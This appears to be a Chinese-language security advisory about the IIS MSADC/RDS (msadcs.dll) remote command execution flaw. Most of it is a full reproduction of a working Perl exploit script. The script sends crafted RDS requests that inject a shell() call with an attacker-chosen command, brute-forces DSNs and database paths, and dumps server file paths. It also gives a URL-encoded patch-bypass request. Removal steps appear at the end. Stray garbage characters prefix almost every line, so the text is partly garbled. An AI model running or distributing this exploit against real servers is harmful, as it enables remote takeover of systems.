IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
l]KxUkA+ Nk&$b 涉及程序：
0Nq6>^
% Microsoft NT server
KImazS^ D?}K|z LQ 描述：
K*fh`Kz 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
G5' HrV Mh*^@_h? 详细：
&/t GT3) 如果你没有时间读详细内容的话，就删除:
E>3(ff& c:\Program Files\Common Files\System\Msadc\msadcs.dll
A]q"+Z] 有关的安全问题就没有了。
"`aLSw75x !i*bb~ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
P xiJ R[a ( | X? 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
)|CF)T- 关于利用ODBC远程漏洞的描述，请参看:
\1cJ?/$_Of ?(P3ZTk?. http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {G(N vf,K] LFT)_DG7( 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
;PF!=8dW http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3v 7*@(y H3qM8_GUA 这里不再论述。
o@blvW<v7 C J#1j> 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
^E`SR6_cmj 9#ZR0t.cY /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Ph|\%P`>% 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
cuW&X9\m, P *zOt]T @"gWv s #将下面这段保存为txt文件，然后: "perl -x 文件名"
6;vfl* 9_<>#)u5 #!perl
<zh N7=" #
C
lekB # MSADC/RDS 'usage' (aka exploit) script
Mo_(WSs #
@O Rk # by rain.forest.puppy
l~i&r?,]^ #
% C.I2J`_ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Qfd4")zhG # beta test and find errors!
13K fI 'Z=8no` < use Socket; use Getopt::Std;
y0f"UH/ getopts("e:vd:h:XR", \%args);
'o.A8su, GI$7uR} print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
tp3]?@0 f=/IwMpn if (!defined $args{h} && !defined $args{R}) {
_"R /k`8 print qq~
A6# 5 z Usage: msadc.pl -h <host> { -d <delay> -X -v }
ilpP"B -h <host> = host you want to scan (ip or domain)
^ ;XJG9a0\ -d <seconds> = delay between calls, default 1 second
t?<pyw $ -X = dump Index Server path table, if available
7"0l>0 \ -v = verbose
w YIlp -e = external dictionary file for step 5
{e'V^l.v Me XGE Or a -R will resume a command session
380M &Guh ;u
"BCW ~; exit;}
T0=%RID%= :Lze8oY(D} $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
zxffjz,Fe: if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
c-gpO|4> if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
POt wT">z if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
(c=.?{U $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
}:2G D0Ru if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
HbXYinG% p&|:,|jo5 if (!defined $args{R}){ $ret = &has_msadc;
h xQx$ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
EvQMt0[?EW zUCtH* print "Please type the NT commandline you want to run (cmd /c assumed):\n"
<W<>=vDzyE . "cmd /c ";
9C2DW,? $in=<STDIN>; chomp $in;
N);2 2- $command="cmd /c " . $in ;
N|53|H x vx+a0 A if (defined $args{R}) {&load; exit;}
d"A er @+P7BE} print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
"Gh5
^$w?j &try_btcustmr;
ql_GN[c/ uiQR RT print "\nStep 2: Trying to make our own DSN...";
(h3f$ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Oj ?
|g_ IGC:zZ~z print "\nStep 3: Trying known DSNs...";
O${B)C, &known_dsn;
O ELh6R ~ M!s0jT print "\nStep 4: Trying known .mdbs...";
i{+W62k* &known_mdb;
Sdn4y(&TP PA_54a9/< if (defined $args{e}){
7 _*k< W7| print "\nStep 5: Trying dictionary of DSN names...";
7g&"clRGO &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
x'IYWo
] 9p{7 x[ C print "Sorry Charley...maybe next time?\n";
r{pbUk exit;
*t3uj g4-UBDtYt ##############################################################################
K[~fpQGbV1 z;#]xCV sub sendraw { # ripped and modded from whisker
y 6C3u5` sleep($delay); # it's a DoS on the server! At least on mine...
#'&&&_Hu3 my ($pstr)=@_;
eNEMyv5{w4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1U(P0$C die("Socket problems\n");
WY)*3? if(connect(S,pack "SnA4x8",2,80,$target)){
]
e O25,6 select(S); $|=1;
6<
T@\E print $pstr; my @in=<S>;
y/(60H,{{ select(STDOUT); close(S);
;VI/iwg return @in;
luj UEHzp } else { die("Can't connect...\n"); }}
ft" t Z\9DtvV ##############################################################################
[zv@} @$ (m3
<) sub make_header { # make the HTTP request
Op2@En|d my $msadc=<<EOT
#5b}"xK{ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
#o / User-Agent: ACTIVEDATA
Z>)M{25 Host: $ip
Y"dUxv1Ap Content-Length: $clen
X}@'FxIF Connection: Keep-Alive
)= ]u]7p} -cL{9r&X ADCClientVersion:01.06
;[,r./XmH Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
f+xhS,iDR 4 [o/p8*/ --!ADM!ROX!YOUR!WORLD!
cU Content-Type: application/x-varg
kl0|22"Gz Content-Length: $reqlen
6myF!
H= J+o6*t2| EOT
x $@Gp ; $msadc=~s/\n/\r\n/g;
_d`)N return $msadc;}
&u}]3E'-k []I _r= ##############################################################################
{^jk_G \ys QRL+-)DMc sub make_req { # make the RDS request
iu9 <]1k my ($switch, $p1, $p2)=@_;
X]T&kdQ6q my $req=""; my $t1, $t2, $query, $dsn;
s`63
y&Z[ 3 1> $;" if ($switch==1){ # this is the btcustmr.mdb query
#vs=yR/tn{ $query="Select * from Customers where City=" . make_shell();
dPmtU{E<M $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
LeT OVgjA| $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
)U5Ba^"fI xb22 : elsif ($switch==2){ # this is general make table query
E K=PY
$query="create table AZZ (B int, C varchar(10))";
O oqA`%
$dsn="$p1";}
u>y/<9]q8 \zMx~-2oN elsif ($switch==3){ # this is general exploit table query
_Q=h3(ZI $query="select * from AZZ where C=" . make_shell();
w$1B|7tX;2 $dsn="$p1";}
4!k 0 li7"{+ct elsif ($switch==4){ # attempt to hork file info from index server
&o]ic(74c? $query="select path from scope()";
&s>E~M0+J $dsn="Provider=MSIDXS;";}
j+6`nN7L G%#M 17 elsif ($switch==5){ # bad query
8`GN8 F $query="select";
;T,`m^@zf $dsn="$p1";}
A/A; '9 :5,
k64'D $t1= make_unicode($query);
E$1P H) $t2= make_unicode($dsn);
*MM8\p_PuT $req = "\x02\x00\x03\x00";
> 5c38D7k) $req.= "\x08\x00" . pack ("S1", length($t1));
["7]EW\!: $req.= "\x00\x00" . $t1 ;
Vu1swq) l $req.= "\x08\x00" . pack ("S1", length($t2));
:|PI_
$4H $req.= "\x00\x00" . $t2 ;
,GTIpPj $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
mDX
UF~G[ return $req;}
*:tfz*FG$G tB/' 3#o ##############################################################################
,\^RyHg :|TQi9L$rj sub make_shell { # this makes the shell() statement
\{K~x@` return "'|shell(\"$command\")|'";}
og) f?4 U3OXO 1 ##############################################################################
L[a A4` E~K5n2CI sub make_unicode { # quick little function to convert to unicode
f C_H 0h3 my ($in)=@_; my $out;
H5X.CcI&} for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
r
t\eze_5A return $out;}
|: b !e > uy(N ##############################################################################
&++tp5 FL?Ndy"I sub rdo_success { # checks for RDO return success (this is kludge)
h'|J$ my (@in) = @_; my $base=content_start(@in);
=OR "Bd:O
if($in[$base]=~/multipart\/mixed/){
Dxp.b$0t return 1 if( $in[$base+10]=~/^\x09\x00/ );}
*h)|K s return 0;}
s.j6"
Q[W A=bBI>GEYP ##############################################################################
{O"N2W =Eb4Iyz sub make_dsn { # this makes a DSN for us
& T&>4I!'M my @drives=("c","d","e","f");
kB3@ ;z: print "\nMaking DSN: ";
O&@pi-=o foreach $drive (@drives) {
,WgEl 4 print "$drive: ";
qx2M"uFJ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
7rSads "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
6 ~.{~+Bd . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
S*w; $`Y $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
>4iVVs return 0 if $2 eq "404"; # not found/doesn't exist
_s X@BE if($2 eq "200") {
JK9 J;c#T foreach $line (@results) {
GS&iSjw return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
,cCBAO ueO } return 0;}
> #E OCo ['JIMcD ##############################################################################
I6lWB(H!u n1r'Y;G sub verify_exists {
Gq0Q}[53 my ($page)=@_;
I|/\ L|vo my @results=sendraw("GET $page HTTP/1.0\n\n");
_4-UM2o; return $results[0];}
;!Q}g1 9C s^zX9IVnp ##############################################################################
3 Xl!Z^W :{'%I#k2 sub try_btcustmr {
.X;D I<K my @drives=("c","d","e","f");
7L !$hk my @dirs=("winnt","winnt35","winnt351","win","windows");
;+(EmD :Q . g8db d foreach $dir (@dirs) {
k#DMd9 print "$dir -> "; # fun status so you can see progress
mr<camL5 foreach $drive (@drives) {
_,bDv`>Ra print "$drive: "; # ditto
C<yjGt VD $reqlen=length( make_req(1,$drive,$dir) ) - 28;
G-Dc(QhU& $reqlenlen=length( "$reqlen" );
b 67l\L $clen= 206 + $reqlenlen + $reqlen;
l,@rB+u #Zj3SfU~` my @results=sendraw(make_header() . make_req(1,$drive,$dir));
%pBc]n @_ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
4Z CD@C else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
45U!\mG 2e | m3 ##############################################################################
X3Yi|dyn T ~tB#Q6`nB sub odbc_error {
~d"9? K^# my (@in)=@_; my $base;
TS49{^d$ my $base = content_start(@in);
H tAO9 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
o3,}X @p $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\SyG#.$ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-APbN(Vi $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:O/QgGZN$ return $in[$base+4].$in[$base+5].$in[$base+6];}
MNu\=p\Eq print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
;nbbKQ]u print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
G' 0JK+=o $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
,ocAB;K i>{.Y}; ##############################################################################
1^AG /w DM=`h yf(v sub verbose {
ihBIE my ($in)=@_;
Cd'`rs}3 return if !$verbose;
*RJiHcII print STDOUT "\n$in\n";}
~jDf ,a2 ePscS Mx& ##############################################################################
v0u, :eZ4 .~7:o.BE`n sub save {
Rg\D-F6: my ($p1, $p2, $p3, $p4)=@_;
yP0XA=,Y open(OUT, ">rds.save") || print "Problem saving parameters...\n";
0 + 3{fD/ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
H J0Rcw% close OUT;}
(Q F-=o :]uz0 s`> ##############################################################################
PS'SI X 1g>>{ y sub load {
Wo+^R%K' 4 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
LtVIvZi e open(IN,"<rds.save") || die("Couldn't open rds.save\n");
)JXy > q# @p=<IN>; close(IN);
~=k ?ea/> $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
q "$C)o $target= inet_aton($ip) || die("inet_aton problems");
J L!:`#\ print "Resuming to $ip ...";
(g3@3.Kk) $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
`L7Cf&W\l8 if($p[1]==1) {
cxpG6c $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
-s&7zqW $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
-h%1rw my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
4gh`
> if (rdo_success(@results)){print "Success!\n";}
h%8C_m A else { print "failed\n"; verbose(odbc_error(@results));}}
!eA6Ejf elsif ($p[1]==3){
?L+|b5RS if(run_query("$p[3]")){
bmI6OIWl print "Success!\n";} else { print "failed\n"; }}
bu,xIT ^ elsif ($p[1]==4){
;&`6b:ug if(run_query($drvst . "$p[3]")){
PaZd^0'!Z print "Success!\n"; } else { print "failed\n"; }}
BNq6dz$ J exit;}
;X%8I$Ba, :@#6]W ##############################################################################
OCv,EZ 5
[X, ? sub create_table {
P 9?I]a)G my ($in)=@_;
eZMfn$McJv $reqlen=length( make_req(2,$in,"") ) - 28;
<K {|#ND# $reqlenlen=length( "$reqlen" );
8 Az|SJ< $clen= 206 + $reqlenlen + $reqlen;
{Y1&GO; my @results=sendraw(make_header() . make_req(2,$in,""));
I]6,hygs return 1 if rdo_success(@results);
a
Ju v{ my $temp= odbc_error(@results); verbose($temp);
8 c5=Px2\ return 1 if $temp=~/Table 'AZZ' already exists/;
+@qIDUiF3 return 0;}
_WN\9< 0;tu}]jnN ##############################################################################
U$ Od) o(eh. sub known_dsn {
NuR3]Ja\0 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
d5 #z\E?? my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
XVzsqi*Z "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
>9,:i)m_ "banner", "banners", "ads", "ADCDemo", "ADCTest");
K8{ef ui<Mnm_T;d foreach $dSn (@dsns) {
_3zJ .% print ".";
Iwe next if (!is_access("DSN=$dSn"));
9\!=i if(create_table("DSN=$dSn")){
Rh%C$d( print "$dSn successful\n";
=k##*% if(run_query("DSN=$dSn")){
46gDoSS print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
?eDZ-u9) print "Something's borked. Use verbose next time\n";}}} print "\n";}
&EJ/Rl k|3hs('y| ##############################################################################
cQrXrij;! 349BQ5ND sub is_access {
9yWSlbPr] my ($in)=@_;
C@!b d+ ' $reqlen=length( make_req(5,$in,"") ) - 28;
m* vz $reqlenlen=length( "$reqlen" );
_71&".A $clen= 206 + $reqlenlen + $reqlen;
Q=t_m(:0 my @results=sendraw(make_header() . make_req(5,$in,""));
cf%aOH YI* my $temp= odbc_error(@results);
E'^ny4gL verbose($temp); return 1 if ($temp=~/Microsoft Access/);
SS!b` return 0;}
<[' ucp
?\_vqW ##############################################################################
F0ylJ
/E hq ?F8 1 sub run_query {
\]0+J my ($in)=@_;
=}'7}0M_= $reqlen=length( make_req(3,$in,"") ) - 28;
K&BaGrR $reqlenlen=length( "$reqlen" );
R{ UZCFZ $clen= 206 + $reqlenlen + $reqlen;
5V8`-yO9 my @results=sendraw(make_header() . make_req(3,$in,""));
c p2a @ return 1 if rdo_success(@results);
OlX#1W] my $temp= odbc_error(@results); verbose($temp);
TU q
, return 0;}
- q&7q rm4t ##############################################################################
V(;c#%I2 ;E0x#JUrw sub known_mdb {
:
`,#z?Rk my @drives=("c","d","e","f","g");
: eFyd`Syw my @dirs=("winnt","winnt35","winnt351","win","windows");
~~}8D" my $dir, $drive, $mdb;
/Nns3oE my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
7ea%mg \ &(h@]F! # this is sparse, because I don't know of many
t|C ?=:_ my @sysmdbs=( "\\catroot\\icatalog.mdb",
5I[6 "o0 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
A u"BDP "\\system32\\certmdb.mdb",
TGuCIc0B{ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
P5__[aTD 00pe4^U my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
$ZlzS`XF7 "\\cfusion\\cfapps\\forums\\forums_.mdb",
th}&|Y)T2 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
=yZ6 $ hK "\\cfusion\\cfapps\\security\\realm_.mdb",
y=zs6HaS "\\cfusion\\cfapps\\security\\data\\realm.mdb",
"qoJIwl#q "\\cfusion\\database\\cfexamples.mdb",
IwR=@Ne8 "\\cfusion\\database\\cfsnippets.mdb",
='6@^6y "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
'j;i4ie>*x "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
\_ MWZRMc5 "\\cfusion\\brighttiger\\database\\cleam.mdb",
n^` `)" "\\cfusion\\database\\smpolicy.mdb",
#r QT)n "\\cfusion\\database\cypress.mdb",
\jr-^n] "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
#g~]2x "\\website\\cgi-win\\dbsample.mdb",
*i V#_ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
HG^~7oMf "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
>nO[5 ); #these are just
1rV9dM#F foreach $drive (@drives) {
7p M&))R foreach $dir (@dirs){
b6g/SIae foreach $mdb (@sysmdbs) {
c*",AZ>U print ".";
1;HL=F if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
2 ]}e4@{ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
mh35S!I3I^ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
5hfx2 O) print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
F41g Mg } else { print "Something's borked. Use verbose next time\n"; }}}}}
4%7Oaf>9 8# IEE|1 foreach $drive (@drives) {
m5 l& foreach $mdb (@mdbs) {
@B9#Hrc print ".";
w:2yFC if(create_table($drv . $drive . $dir . $mdb)){
]W7&ZpF print "\n" . $drive . $dir . $mdb . " successful\n";
O@>{%u if(run_query($drv . $drive . $dir . $mdb)){
at( gem print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
(I; lE*> } else { print "Something's borked. Use verbose next time\n"; }}}}
A_+*b
[P }
M7ug <
8i [ZD`t ,x( ##############################################################################
X/H 2c"!t G$ s=P sub hork_idx {
g_?bWm4br print "\nAttempting to dump Index Server tables...\n";
}] . |7h print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
0G3T.4 I $reqlen=length( make_req(4,"","") ) - 28;
+f,I$&d.V $reqlenlen=length( "$reqlen" );
~>$z1o&}. $clen= 206 + $reqlenlen + $reqlen;
' wKTWmf?\ my @results=sendraw2(make_header() . make_req(4,"",""));
Pt7C/
qM/ if (rdo_success(@results)){
1~vv<`- my $max=@results; my $c; my %d;
ZVz*1]}
for($c=19; $c<$max; $c++){
*}Rd%' $results[$c]=~s/\x00//g;
le2 v"Y $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
-l{ wB" $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
h([qq<Lzs $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
\3whM6tK $d{"$1$2"}="";}
XlJ+:st foreach $c (keys %d){ print "$c\n"; }
5D>cbzP@ } else {print "Index server doesn't seem to be installed.\n"; }}
XQcE
ZJ2 'Me(qpsq ##############################################################################
5K00z?kD2V M] W5 %3do sub dsn_dict {
LP) IL~ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
wV'_{ /WM while(<IN>){
=<U'Jtu6' $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
sNJ?Z"5k1h next if (!is_access("DSN=$dSn"));
P c v A/W if(create_table("DSN=$dSn")){
F2v9 XMi print "$dSn successful\n";
\ $
:) Ka if(run_query("DSN=$dSn")){
.&/A!3pW print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
xt8@l
[Z
print "Something's borked. Use verbose next time\n";}}}
9\i^.2& print "\n"; close(IN);}
kp*BAQ w^/"j_p@ ##############################################################################
;h#CT#R2 M \>5" ,0 sub sendraw2 { # ripped and modded from whisker
M B,Z4 ^ sleep($delay); # it's a DoS on the server! At least on mine...
df s1BV' my ($pstr)=@_;
Dm`gzGl socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
i>;6Z s>S die("Socket problems\n");
C12y_E8Un if(connect(S,pack "SnA4x8",2,80,$target)){
Hzc ^fC print "Connected. Getting data";
jxnb<!|?H@ open(OUT,">raw.out"); my @in;
tfjb G;R select(S); $|=1; print $pstr;
uQkQ#'e| while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
,J'@e+jV close(OUT); select(STDOUT); close(S); return @in;
7` t , } else { die("Can't connect...\n"); }}
L'a>D {>l`P{{y ##############################################################################
j{P3o<l&` 0vM,2:kf* sub content_start { # this will take in the server headers
;+Mr|vweTC my (@in)=@_; my $c;
DkBVk+ for ($c=1;$c<500;$c++) {
}j,G)\g# if($in[$c] =~/^\x0d\x0a/){
n7d`J_%s if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
yj9 Ad*. else { return $c+1; }}}
+ID% ( : return -1;} # it should never get here actually
RueL~$*6.~ XU $\.g p- ##############################################################################
[?#-JIZ3T p fg>H sub funky {
IeBb#Qedz my (@in)=@_; my $error=odbc_error(@in);
K|.! )L if($error=~/ADO could not find the specified provider/){
9R4q^tGR\ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
dH0wVI<z exit;}
y#5;wb<1 if($error=~/A Handler is required/){
znd fIt^ print "\nServer has custom handler filters (they most likely are patched)\n";
}Yp]A exit;}
)X-TJ+d if($error=~/specified Handler has denied Access/){
mOx>p"n print "\nServer has custom handler filters (they most likely are patched)\n";
~
*P9_< exit;}}
U6oab9C?k E)F"!56lV ##############################################################################
If(IG]>`D +IfU
5&5< sub has_msadc {
i- r y5x my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
jVdB- y/r my $base=content_start(@results);
u1 (8a%ZC return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
3/2G~$C return 0;}
r$- ]NYPi 6-uB[$ko ########################
F%
K}&3 gnU##Km| +4k7ti1Qb 解决方案：
q=cH ^`<. 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
,?s: s&4 2、移除web 目录: /msadc
